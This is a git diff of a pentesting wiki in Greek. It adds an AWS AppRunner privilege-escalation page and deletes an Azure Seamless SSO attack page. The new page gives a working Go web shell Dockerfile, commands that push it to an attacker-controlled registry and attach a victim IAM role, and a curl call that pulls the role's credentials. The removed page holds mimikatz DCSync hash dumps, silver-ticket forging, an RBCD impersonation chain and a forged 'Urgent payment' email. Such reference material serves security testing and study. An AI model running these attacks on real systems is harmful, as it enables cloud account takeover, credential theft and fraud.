diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..78a016d8a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,71 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει μια υπηρεσία AppRunner με συνημμένο ρόλο IAM, ενδεχομένως κλιμακώνοντας τα προνόμια αποκτώντας πρόσβαση στα διαπιστευτήρια του ρόλου. + +Ο επιτιθέμενος πρώτα δημιουργεί ένα Dockerfile που λειτουργεί ως web shell για να εκτελεί αυθαίρετες εντολές στο κοντέινερ AppRunner. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Στη συνέχεια, σπρώξτε αυτή την εικόνα σε ένα αποθετήριο ECR. Με το να σπρώξετε την εικόνα σε ένα δημόσιο αποθετήριο σε έναν λογαριασμό AWS που ελέγχεται από τον επιτιθέμενο, είναι δυνατή η κλιμάκωση προνομίων ακόμη και αν ο λογαριασμός του θύματος δεν έχει άδειες για να χειριστεί το ECR. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Στη συνέχεια, ο επιτιθέμενος δημιουργεί μια υπηρεσία AppRunner ρυθμισμένη με αυτή την εικόνα web shell και τον IAM Ρόλο που θέλει να εκμεταλλευτεί. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Αφού περιμένετε να ολοκληρωθεί η δημιουργία της υπηρεσίας, χρησιμοποιήστε το web shell για να ανακτήσετε τα διαπιστευτήρια του κοντέινερ και να αποκτήσετε τις άδειες του IAM Role που είναι συνδεδεμένο με το AppRunner. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Πιθανές Επιπτώσεις:** Άμεση κλιμάκωση προνομίων σε οποιονδήποτε ρόλο IAM που μπορεί να προσαρτηθεί σε υπηρεσίες AppRunner. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 1a62f813f..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,191 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -Βασικά, το Azure AD Seamless SSO **συνδέει τους χρήστες** όταν βρίσκονται **σε έναν υπολογιστή που είναι συνδεδεμένος σε τοπικό τομέα**. - -Υποστηρίζεται και από τους [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) και [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). - -Το Desktop SSO χρησιμοποιεί **Kerberos** για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν **λογαριασμό υπολογιστή που ονομάζεται `AZUREADSSOACC$`** στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού `AZUREADSSOACC$` **αποστέλλεται ως απλό κείμενο στο Entra ID** κατά τη διάρκεια της ρύθμισης. - -Τα **εισιτήρια Kerberos** είναι **κρυπτογραφημένα** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Entra ID χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τα εισιτήρια. - -**Entra ID** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισιτήρια σε αυτό το endpoint για SSO. - -### Enumeration -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> Το κύριο πράγμα που πρέπει να γνωρίζετε για αυτήν την επίθεση είναι ότι το να έχετε μόνο το TGT ή ένα συγκεκριμένο TGS ενός χρήστη που είναι συγχρονισμένος με το Entra ID είναι αρκετό για να αποκτήσετε πρόσβαση στους πόρους του cloud.\ -> Αυτό συμβαίνει επειδή είναι ένα εισιτήριο που επιτρέπει σε έναν χρήστη να συνδεθεί στο cloud. - -Για να αποκτήσει αυτό το εισιτήριο TGS, ο επιτιθέμενος χρειάζεται να έχει ένα από τα εξής: -- **TGS ενός συμβιβασμένου χρήστη:** Εάν συμβιβάσετε τη συνεδρία ενός χρήστη με το εισιτήριο για το `HTTP/autologon.microsoftazuread-sso.com` στη μνήμη, μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στους πόρους του cloud. -- **TGT ενός συμβιβασμένου χρήστη:** Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης ανάθεσης TGT που έχει υλοποιηθεί σε πολλά εργαλεία όπως το [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) και το [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Hash ή κωδικό πρόσβασης ενός συμβιβασμένου χρήστη:** Το SeamlessPass θα επικοινωνήσει με τον ελεγκτή τομέα με αυτές τις πληροφορίες για να δημιουργήσει το TGT και στη συνέχεια το TGS. -- **Ένα χρυσό εισιτήριο:** Εάν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη. -- **Hash ή κωδικό πρόσβασης του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Αναγνωριστή Ασφαλείας (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα εισιτήριο υπηρεσίας και να αυθεντικοποιηθείτε με το cloud (όπως εκτελείται στην προηγούμενη μέθοδο). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -Όπως [εξηγείται σε αυτήν την ανάρτηση ιστολογίου](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), το να έχετε οποιαδήποτε από τις προηγούμενες απαιτήσεις είναι πολύ εύκολο να χρησιμοποιήσετε το εργαλείο **SeamlessPass** για να αποκτήσετε πρόσβαση στους πόρους του cloud ως ο συμβιβασμένος χρήστης, ή ως οποιοσδήποτε χρήστης αν έχετε το **`AZUREADSSOACC$`** hash ή κωδικό πρόσβασης. - -Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) με: -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορείτε να [**βρείτε σε αυτήν την ανάρτηση ιστολογίου**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -### Λήψη κατακερματισμάτων του λογαριασμού AZUREADSSOACC$ - -Ο **κωδικός πρόσβασης** του χρήστη **`AZUREADSSOACC$` ποτέ δεν αλλάζει**. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει τον **κατακερματισμό αυτού του λογαριασμού** και στη συνέχεια να τον χρησιμοποιήσει για να **δημιουργήσει ασημένια εισιτήρια** για να συνδεθεί στο Azure με **οποιονδήποτε συγχρονισμένο χρήστη on-prem**: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> Με τις τρέχουσες πληροφορίες, θα μπορούσατε απλά να χρησιμοποιήσετε το εργαλείο **SeamlessPass** όπως αναφέρθηκε προηγουμένως για να αποκτήσετε azure και entraid tokens για οποιονδήποτε χρήστη στο domain. -> Θα μπορούσατε επίσης να χρησιμοποιήσετε τις προηγούμενες τεχνικές (και άλλες) για να αποκτήσετε το hash του κωδικού πρόσβασης του θύματος που θέλετε να μιμηθείτε αντί για τον λογαριασμό `AZUREADSSOACC$`. - -#### Δημιουργία Silver Tickets - -Με το hash μπορείτε τώρα να **δημιουργήσετε silver tickets**: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Χρήση Silver Tickets με Firefox - -Για να χρησιμοποιήσετε το silver ticket, θα πρέπει να εκτελέσετε τα εξής βήματα: - -1. **Εκκίνηση του Προγράμματος Περιήγησης:** Πρέπει να εκκινήσετε το Mozilla Firefox. -2. **Ρύθμιση του Προγράμματος Περιήγησης:** -- Μεταβείτε στο **`about:config`**. -- Ρυθμίστε την προτίμηση για [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) στην καθορισμένη [τιμή](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Μεταβείτε στις ρυθμίσεις του Firefox > Αναζητήστε `Allow Windows single sign-on for Microsoft, work and school accounts` και ενεργοποιήστε το. -3. **Πρόσβαση στην Ιστοσελίδα Εφαρμογής:** -- Επισκεφθείτε μια ιστοσελίδα εφαρμογής που είναι ενσωματωμένη με το AAD domain της οργάνωσης. Ένα κοινό παράδειγμα είναι το [login.microsoftonline.com](https://login.microsoftonline.com/). -4. **Διαδικασία Αυθεντικοποίησης:** -- Στην οθόνη σύνδεσης, θα πρέπει να εισαχθεί το όνομα χρήστη, αφήνοντας το πεδίο κωδικού πρόσβασης κενό. -- Για να προχωρήσετε, πατήστε είτε TAB είτε ENTER. - -> [!WARNING] -> Αυτό **δεν παρακάμπτει το MFA αν είναι ενεργοποιημένο** για τον χρήστη. - - -### On-prem -> Cloud μέσω Resource Based Constrained Delegation - -Για να εκτελέσετε την επίθεση απαιτείται: - -- `WriteDACL` / `GenericWrite` πάνω από `AZUREADSSOACC$` -- Ένας λογαριασμός υπολογιστή που ελέγχετε (hash & password) - Μπορείτε να δημιουργήσετε έναν - - -1. Βήμα 1 – Προσθέστε τον δικό σας λογαριασμό υπολογιστή -- Δημιουργεί το `ATTACKBOX$` και εκτυπώνει το SID/NTLM hash του. Οποιοσδήποτε χρήστης τομέα μπορεί να το κάνει αυτό ενώ το MachineAccountQuota > 0 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. Βήμα 2 – Χορήγηση RBCD στο `AZUREADSSOACC$` - Γράφει το SID της μηχανής σας στο `msDS-AllowedToActOnBehalfOfOtherIdentity`. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. Βήμα 3 – Δημιουργία TGS για οποιονδήποτε χρήστη (π.χ. alice) -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -Μπορείτε τώρα να χρησιμοποιήσετε το **TGS για να αποκτήσετε πρόσβαση σε πόρους Azure ως ο χρήστης που έχει προσποιηθεί.** - - -### ~~Δημιουργία εισιτηρίων Kerberos για χρήστες μόνο στο cloud~~ - -Εάν οι διαχειριστές του Active Directory έχουν πρόσβαση στο Azure AD Connect, μπορούν να **ορίσουν SID για οποιονδήποτε χρήστη cloud.** Με αυτόν τον τρόπο, τα εισιτήρια Kerberos **μπορούν να δημιουργηθούν και για χρήστες μόνο στο cloud.** Η μόνη απαίτηση είναι ότι το SID είναι ένα κατάλληλο [SID](). - -> [!CAUTION] -> Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα **μπλοκαρισμένη από τη Microsoft.**\ -> Για πληροφορίες δείτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - - - -## Αναφορές - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/